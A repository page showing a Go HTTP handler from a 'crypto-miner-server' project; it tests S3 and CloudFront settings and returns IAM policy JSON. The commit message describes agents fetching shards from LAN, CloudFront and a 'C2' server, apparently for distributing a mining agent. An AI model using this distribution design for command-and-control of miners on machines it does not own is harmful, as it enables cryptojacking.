Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
96 lines
2.9 KiB
Go
96 lines
2.9 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/erasure"
|
|
)
|
|
|
|
type ErasureSwarmHandler struct {
|
|
awsSettings func() erasure.AWSSwarmSettings
|
|
objectStore func() erasure.ShardObjectStore
|
|
}
|
|
|
|
func NewErasureSwarmHandler(awsSettings func() erasure.AWSSwarmSettings, objectStore func() erasure.ShardObjectStore) *ErasureSwarmHandler {
|
|
return &ErasureSwarmHandler{awsSettings: awsSettings, objectStore: objectStore}
|
|
}
|
|
|
|
type erasureSwarmTestResponse struct {
|
|
OK bool `json:"ok"`
|
|
CredentialsReady bool `json:"credentials_ready"`
|
|
SigningReady bool `json:"signing_ready"`
|
|
Error string `json:"error,omitempty"`
|
|
S3Bucket string `json:"s3_bucket,omitempty"`
|
|
CloudFrontDomain string `json:"cloudfront_domain,omitempty"`
|
|
}
|
|
|
|
func (h *ErasureSwarmHandler) PostTest(w http.ResponseWriter, r *http.Request) {
|
|
cfg := h.cfg(r)
|
|
resp := erasureSwarmTestResponse{S3Bucket: cfg.S3Bucket, CloudFrontDomain: cfg.CloudFrontDomain, CredentialsReady: cfg.CredentialsReady(), SigningReady: cfg.SigningReady()}
|
|
if !cfg.Enabled() {
|
|
resp.Error = "set aws_s3_shard_bucket and aws_cloudfront_domain"
|
|
writeJSON(w, resp)
|
|
return
|
|
}
|
|
if !cfg.CredentialsReady() {
|
|
resp.Error = "set AF_AWS_ACCESS_KEY_ID and AF_AWS_SECRET_ACCESS_KEY"
|
|
writeJSON(w, resp)
|
|
return
|
|
}
|
|
if err := h.store().HeadBucket(r.Context(), cfg.S3Bucket); err != nil {
|
|
resp.Error = err.Error()
|
|
writeJSON(w, resp)
|
|
return
|
|
}
|
|
resp.OK = true
|
|
writeJSON(w, resp)
|
|
}
|
|
|
|
func (h *ErasureSwarmHandler) GetPolicyJSON(w http.ResponseWriter, r *http.Request) {
|
|
cfg := h.cfg(r)
|
|
bucket := strings.TrimSpace(r.URL.Query().Get("bucket"))
|
|
if bucket == "" {
|
|
bucket = cfg.S3Bucket
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"iam_policy": erasure.MinimalIAMPolicyJSON(bucket),
|
|
"bucket_policy": erasure.MinimalBucketPolicyJSON(bucket, r.URL.Query().Get("cloudfront_arn")),
|
|
"env_keys": []string{"AF_AWS_ACCESS_KEY_ID", "AF_AWS_SECRET_ACCESS_KEY", "AF_AWS_REGION", "AF_CLOUDFRONT_KEY_PAIR_ID", "AF_CLOUDFRONT_PRIVATE_KEY"},
|
|
})
|
|
}
|
|
|
|
func (h *ErasureSwarmHandler) cfg(r *http.Request) erasure.AWSSwarmSettings {
|
|
cfg := erasure.AWSSwarmSettings{}
|
|
if h != nil && h.awsSettings != nil {
|
|
cfg = h.awsSettings()
|
|
}
|
|
if r != nil && r.Method == http.MethodPost {
|
|
var body struct {
|
|
S3Bucket string `json:"s3_bucket"`
|
|
CloudFrontDomain string `json:"cloudfront_domain"`
|
|
}
|
|
if json.NewDecoder(r.Body).Decode(&body) == nil {
|
|
if v := strings.TrimSpace(body.S3Bucket); v != "" {
|
|
cfg.S3Bucket = v
|
|
}
|
|
if v := strings.TrimSpace(body.CloudFrontDomain); v != "" {
|
|
cfg.CloudFrontDomain = v
|
|
}
|
|
}
|
|
}
|
|
return erasure.HydrateAWSSwarmFromEnv(cfg)
|
|
}
|
|
|
|
func (h *ErasureSwarmHandler) store() erasure.ShardObjectStore {
|
|
if h != nil && h.objectStore != nil {
|
|
return h.objectStore()
|
|
}
|
|
cfg := erasure.AWSSwarmSettings{}
|
|
if h != nil && h.awsSettings != nil {
|
|
cfg = erasure.HydrateAWSSwarmFromEnv(h.awsSettings())
|
|
}
|
|
return &erasure.S3HTTPStore{Settings: cfg}
|
|
}
|